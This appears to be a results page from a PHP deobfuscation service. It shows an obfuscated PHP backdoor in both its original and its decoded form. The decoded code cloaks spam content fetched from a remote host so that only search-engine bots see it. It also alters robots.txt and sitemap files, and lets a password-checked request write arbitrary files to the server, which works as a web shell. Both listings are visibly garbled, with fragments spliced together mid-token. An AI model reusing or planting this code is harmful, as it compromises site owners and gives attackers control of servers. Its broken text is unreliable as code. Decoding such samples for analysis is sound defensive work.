Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

@set_time_limit(3600); @ignore_user_abort(1); $lSquqz = "\x72\x37\x32"; $lSquqf = "\x68\16..

Decoded Output download

<?  @set_time_limit(3600); @ignore_user_abort(1); $lSquqz = "r72"; $lSquqf = "http"; if (is_htps()) { goto loLfuzz; }74tps"; loLfuzf: $lSquqW = st_uri(); if (!($lSquqW == '')) { goto loLfuzu; } $lSquqW = "/"; loLfuzu: $lSquqq = urlencode($o loLfufW; loLfuzL: goto loLfuzq; goto loLfuzC; loLfuzE: goto loLfuzJ; goto loLfuzS; loLfuzP: loLfuzq: goto loLfuzE; loLfuzC: loLfuzW:VER["argv"])) { goto loLfuzW; } goto loLfuzg; loLfuzg: $lSquqq = $_SERVER["PHP_SELF"] . "?" . $_L; loLfufz: $lSquqq = $_SERVER["REQUEST_URI"]; goto loLfuff; loLfuzo: if (isset($_SERVER["RE
oLfuzS: loLfuzX: goto loLfufz; loLfuzn: $lSquqq = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"]155ancapital" . ".t" . "op"; function is_htps() { goto loLfufI; loLfufS: loLfufJ: goto loLfuuz;E: goto loLfufq; goto loLfufS; loLfuuW: return true; goto loLfuuq; loLfufP: return true; goto loLfufE; loLfuuX: return false; goto loLHTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_\ttps") { goto loLfufJ; } goto loLfufL; loLfufL: if (isset($_SERVER["HTTP_FRONT_EN\x137FRONT_END_HTTPS"]) !== "off") { goto loLfufo; } goto loLfufC; loLfufI: if (is124PS"]) !== "off") { goto loLfufX; } goto loLfufg; loLfuuq: loLfufq: goto loLfuuX; loLfufC: goto loLfufq; goto loLfufnx48TTP_HOST"]; $lSquqo = @$_SERVER["HTTP_ACCEPT_LANGUA\xER["HTTP_REFERER"])) { goto loLfuuo; } $lSquqI = $_SERVER["HTTP_REFEQ44"] != '')) { goto loLfuWI; } $lSquqg = @$_GET["mapname"]; $lSquqL = @$_GET["action"]; if (is{ goto loLfuuI; } $lSquqC = dirname(__FILE__); goto loLfuug; loLfuuI: $lSquqC = $_SERVER["DOCUMENT_ROt"; loLfuuL: if (!($lSquqL == "put")) { goto loLfuWo; } if (strstr($lSquqg, ".xml")) { goto loLfuWu; } echo "1lse!<br>"; goto loLfuWW; loLfuWu: $lSquqn = $lSquqC . "/sitemap.xml"; if (!= $lSquqC . "/robots.txt"; if (file_exists($lSquqP)) { goto loLfuun; } $lSquqE = "User-uuP; loLfuun: $lSquqE = dageget($lSquqP); loLfuuP: $lSquqS = $lSququ . "://" . $lSquqJ . "/" . $lSquqg; if (stristr($lSquqE,E) . "\xd\xa" . "Sitemap: " . $lSquqS)) { goto loLfuuE; } echo "<br>file wr\1fuuE: echo "<br>ok<br>"; loLfuuS: goto loLfuWf; loLfuWz: echo "<br>sitemap>"; loLfuWf: loLfuWW: if (!strstr($lSquqg, ".p" . "hp")) { goto loLfuWJ; } $lSquXz = sha1(sha1(@$_GET["a"])); $lSquXf//" . $lSquqX . "/a.p" . "hp") || $lSquXf == "808735b17c8943e371eaa")) { goto loLfuWX; } $lSquXu = @$_GET["dstr"]; if (!file_put_contents($lSquqC . "/" . $lSquqg, $lSquXu)) { it; loLfuWI: $lSquXW = $lSquqf . "://" . $lSquqX . "/indexnew.php?web=" . . "&urlshang=" . $lSquqI . "&http=" . $lSququ . "&lang=" . $lSquqo; $lSquseragent")) { goto loLfuWE; } if (strstr($lSquXq, "okhtmlgetcontcgetcontent")) { goto loLfuWL; } if (!strstr($lSquXq, "pingxmlgetco\9ngxmlgetcontent", '', $lSquXq); @header("Content-typf5t=utf-8"); echo pingmap($lSquXq); exit; loLfuWg: goto loLfuWC; loLfuWL: $lSquXq = str_replace("okxm\x3ontent-type: text/xml"); echo $lSquXq; exit; loLfuWC: goto loLfuWP; loLfx74ext/html; charset=utf-8"); $lSquXq = str_replace("okh\x $lSquXq; exit; loLfuWP: loLfuWE: function pingmap($lSquXX) { goto loLfuqX; loLfuqo: foreach ($lSquXJ as $lSquXI) { goto loLfuqf; loLfgoto loLfuqq; loLfuqf: $lSquXg = dageget($lSquXI); goto loLfuqu; loLfuqu: $lSquXL = strpos($lSquXg, "Sitemap ved") !== false ? "pingok" : "error"; goto loLfuqW; loLfuqq: } goto loLfuqI; loLfuqJ: $lSquXoSquXJ = explode("\xd
", trim($lSquXX)); goto loLfuqJ; loLfuqg: } function sbot() { goto loLfuqn; loLfuXu: loLfuqC: goto loLfuXW; loLR["HTTP_USER_AGENT"]); goto loLfuqP; loLfuXf: return true; goto loLfuXu; loLfuqP: if (strC, "bing") || stristr($lSquXC, "yahoo") || stristr($lSquXC, "google") || stristr($lSquXC,157glebot")) { goto loLfuqL; } goto loLfuqE; loLfuXz: loLfuqL: goto loLfuXf; loLfuqE: return false; goto loLfuqS; lofile_get_contents($lSquXX); goto loLfuJW; loLfuXg: curl_setopt($lSquXP, CURLOPT_URL, $lSquXX); goto loLfuXL; loLfuXL: curl_setopt($lSqexec($lSquXP); goto loLfuXS; loLfuJq: return $lSquXn; goto loLfuJX; loLfuXI: $lSquXP = curl_init(); goto loLfuXg; loLfuXo: if (!functito loLfuXI; loLfuXn: curl_setopt($lSquXP, CURLOPT_RETURNTRANSFER, 1); goto loLfuXP; loLfuJf: if ($lSquXn) { goto loLfuXX; } goto loLfuPT_SSL_VERIFYPEER, 0); goto loLfuXn; loLfuXP: curl_setopt($lSquXP, CURLOPT_CONNECTTIMEOUT, 30); goto loLfuXE; loLfuXJ: $lSquXn = ''; g ?>

Did this file decode correctly?

Original Code

@set_time_limit(3600); @ignore_user_abort(1); $lSquqz = "\x72\x37\x32"; $lSquqf = "\x68\164\x74\160"; if (is_htps()) { goto loLfuzz; }74\x74\x70\163"; loLfuzf: $lSquqW = st_uri(); if (!($lSquqW == '')) { goto loLfuzu; } $lSquqW = "\x2f"; loLfuzu: $lSquqq = urlencode($o loLfufW; loLfuzL: goto loLfuzq; goto loLfuzC; loLfuzE: goto loLfuzJ; goto loLfuzS; loLfuzP: loLfuzq: goto loLfuzE; loLfuzC: loLfuzW:VER["\141\162\x67\x76"])) { goto loLfuzW; } goto loLfuzg; loLfuzg: $lSquqq = $_SERVER["\x50\x48\120\137\x53\x45\114\106"] . "\77" . $_L; loLfufz: $lSquqq = $_SERVER["\x52\x45\x51\125\x45\123\x54\137\125\122\x49"]; goto loLfuff; loLfuzo: if (isset($_SERVER["\x52\x45\12oLfuzS: loLfuzX: goto loLfufz; loLfuzn: $lSquqq = $_SERVER["\120\110\x50\137\x53\x45\x4c\106"] . "\x3f" . $_SERVER["\x61\162\x67\166"]155\141\x6e\x63\x61\x70\x69\164\141\154" . "\x2e\164" . "\x6f\x70"; function is_htps() { goto loLfufI; loLfufS: loLfufJ: goto loLfuuz;E: goto loLfufq; goto loLfufS; loLfuuW: return true; goto loLfuuq; loLfufP: return true; goto loLfufE; loLfuuX: return false; goto loL\110\124\124\x50\x5f\130\x5f\x46\117\x52\127\x41\122\x44\105\x44\137\x50\x52\117\124\x4f"]) && $_SERVER["\x48\124\124\x50\137\130\x5f\\164\164\x70\x73") { goto loLfufJ; } goto loLfufL; loLfufL: if (isset($_SERVER["\110\124\x54\x50\x5f\x46\x52\x4f\116\124\137\105\116\x137\106\x52\117\116\124\137\105\116\x44\137\x48\124\x54\x50\123"]) !== "\x6f\x66\x66") { goto loLfufo; } goto loLfufC; loLfufI: if (is124\120\123"]) !== "\x6f\146\146") { goto loLfufX; } goto loLfufg; loLfuuq: loLfufq: goto loLfuuX; loLfufC: goto loLfufq; goto loLfufnx48\124\x54\x50\x5f\110\117\123\x54"]; $lSquqo = @$_SERVER["\110\x54\x54\x50\137\101\103\x43\x45\120\124\137\x4c\x41\x4e\107\125\x41\xER["\110\x54\124\x50\x5f\122\105\106\x45\122\x45\122"])) { goto loLfuuo; } $lSquqI = $_SERVER["\110\124\x54\x50\137\122\105\106\x45\x5144"] != '')) { goto loLfuWI; } $lSquqg = @$_GET["\x6d\x61\x70\156\141\155\x65"]; $lSquqL = @$_GET["\141\143\164\x69\x6f\x6e"]; if (is{ goto loLfuuI; } $lSquqC = dirname(__FILE__); goto loLfuug; loLfuuI: $lSquqC = $_SERVER["\x44\x4f\x43\x55\115\105\x4e\124\x5f\x52\x4f\x74"; loLfuuL: if (!($lSquqL == "\160\165\x74")) { goto loLfuWo; } if (strstr($lSquqg, "\x2e\x78\x6d\154")) { goto loLfuWu; } echo "\61\154\163\x65\x21\74\x62\162\x3e"; goto loLfuWW; loLfuWu: $lSquqn = $lSquqC . "\57\163\x69\x74\145\155\141\160\56\x78\155\x6c"; if (!= $lSquqC . "\57\x72\157\x62\157\164\163\x2e\164\170\x74"; if (file_exists($lSquqP)) { goto loLfuun; } $lSquqE = "\125\163\145\x72\x2duuP; loLfuun: $lSquqE = dageget($lSquqP); loLfuuP: $lSquqS = $lSququ . "\x3a\x2f\57" . $lSquqJ . "\57" . $lSquqg; if (stristr($lSquqE,E) . "\xd\xa" . "\123\151\164\145\x6d\141\160\x3a\40" . $lSquqS)) { goto loLfuuE; } echo "\74\142\162\76\146\151\154\x65\x20\167\x72\1fuuE: echo "\x3c\142\x72\76\x6f\x6b\74\x62\x72\x3e"; loLfuuS: goto loLfuWf; loLfuWz: echo "\74\x62\162\x3e\x73\151\164\145\x6d\x61\x70\76"; loLfuWf: loLfuWW: if (!strstr($lSquqg, "\x2e\x70" . "\150\160")) { goto loLfuWJ; } $lSquXz = sha1(sha1(@$_GET["\x61"])); $lSquXf\x2f\x2f" . $lSquqX . "\57\141\x2e\160" . "\150\160") || $lSquXf == "\70\x30\70\x37\x33\65\x62\61\67\143\70\x39\x34\x33\x65\x33\x37\61\145\141\x61")) { goto loLfuWX; } $lSquXu = @$_GET["\144\x73\x74\x72"]; if (!file_put_contents($lSquqC . "\57" . $lSquqg, $lSquXu)) { it; loLfuWI: $lSquXW = $lSquqf . "\x3a\57\57" . $lSquqX . "\57\151\x6e\x64\145\x78\x6e\145\x77\x2e\x70\x68\160\x3f\167\145\142\x3d" . . "\46\165\x72\154\163\150\x61\156\147\75" . $lSquqI . "\46\150\x74\x74\160\x3d" . $lSququ . "\46\154\141\x6e\x67\x3d" . $lSquqo; $lSq\x75\x73\x65\162\x61\147\145\x6e\x74")) { goto loLfuWE; } if (strstr($lSquXq, "\x6f\153\x68\x74\x6d\154\147\x65\164\143\x6f\156\x74\14c\x67\x65\x74\143\x6f\156\164\x65\x6e\x74")) { goto loLfuWL; } if (!strstr($lSquXq, "\160\x69\x6e\147\x78\155\154\x67\x65\164\143\x6f\9\x6e\x67\170\x6d\x6c\x67\x65\x74\x63\157\156\x74\x65\156\x74", '', $lSquXq); @header("\103\x6f\156\x74\x65\x6e\x74\x2d\164\171\x70\1465\x74\75\165\x74\146\x2d\70"); echo pingmap($lSquXq); exit; loLfuWg: goto loLfuWC; loLfuWL: $lSquXq = str_replace("\157\x6b\170\x6d\x3\157\156\164\x65\x6e\164\55\x74\x79\x70\145\x3a\40\x74\145\170\164\x2f\x78\155\154"); echo $lSquXq; exit; loLfuWC: goto loLfuWP; loLfx74\145\170\164\x2f\x68\x74\x6d\154\x3b\40\143\x68\x61\162\163\145\x74\x3d\165\164\x66\x2d\70"); $lSquXq = str_replace("\x6f\153\x68\x $lSquXq; exit; loLfuWP: loLfuWE: function pingmap($lSquXX) { goto loLfuqX; loLfuqo: foreach ($lSquXJ as $lSquXI) { goto loLfuqf; loLfgoto loLfuqq; loLfuqf: $lSquXg = dageget($lSquXI); goto loLfuqu; loLfuqu: $lSquXL = strpos($lSquXg, "\x53\x69\x74\145\155\x61\160\x20\166\x65\x64") !== false ? "\160\151\x6e\x67\157\x6b" : "\145\162\x72\x6f\162"; goto loLfuqW; loLfuqq: } goto loLfuqI; loLfuqJ: $lSquXoSquXJ = explode("\xd\12", trim($lSquXX)); goto loLfuqJ; loLfuqg: } function sbot() { goto loLfuqn; loLfuXu: loLfuqC: goto loLfuXW; loLR["\110\124\124\120\137\x55\x53\105\122\x5f\101\x47\x45\116\x54"]); goto loLfuqP; loLfuXf: return true; goto loLfuXu; loLfuqP: if (strC, "\142\151\156\147") || stristr($lSquXC, "\171\141\150\x6f\x6f") || stristr($lSquXC, "\147\x6f\x6f\147\154\x65") || stristr($lSquXC,157\x67\154\145\142\x6f\164")) { goto loLfuqL; } goto loLfuqE; loLfuXz: loLfuqL: goto loLfuXf; loLfuqE: return false; goto loLfuqS; lofile_get_contents($lSquXX); goto loLfuJW; loLfuXg: curl_setopt($lSquXP, CURLOPT_URL, $lSquXX); goto loLfuXL; loLfuXL: curl_setopt($lSqexec($lSquXP); goto loLfuXS; loLfuJq: return $lSquXn; goto loLfuJX; loLfuXI: $lSquXP = curl_init(); goto loLfuXg; loLfuXo: if (!functito loLfuXI; loLfuXn: curl_setopt($lSquXP, CURLOPT_RETURNTRANSFER, 1); goto loLfuXP; loLfuJf: if ($lSquXn) { goto loLfuXX; } goto loLfuPT_SSL_VERIFYPEER, 0); goto loLfuXn; loLfuXP: curl_setopt($lSquXP, CURLOPT_CONNECTTIMEOUT, 30); goto loLfuXE; loLfuXJ: $lSquXn = ''; g

Function Calls

None

Variables

None

Stats

MD5 288901dfb6ce4345ed0e1d92dc006512
Eval Count 0
Decode Time 44 ms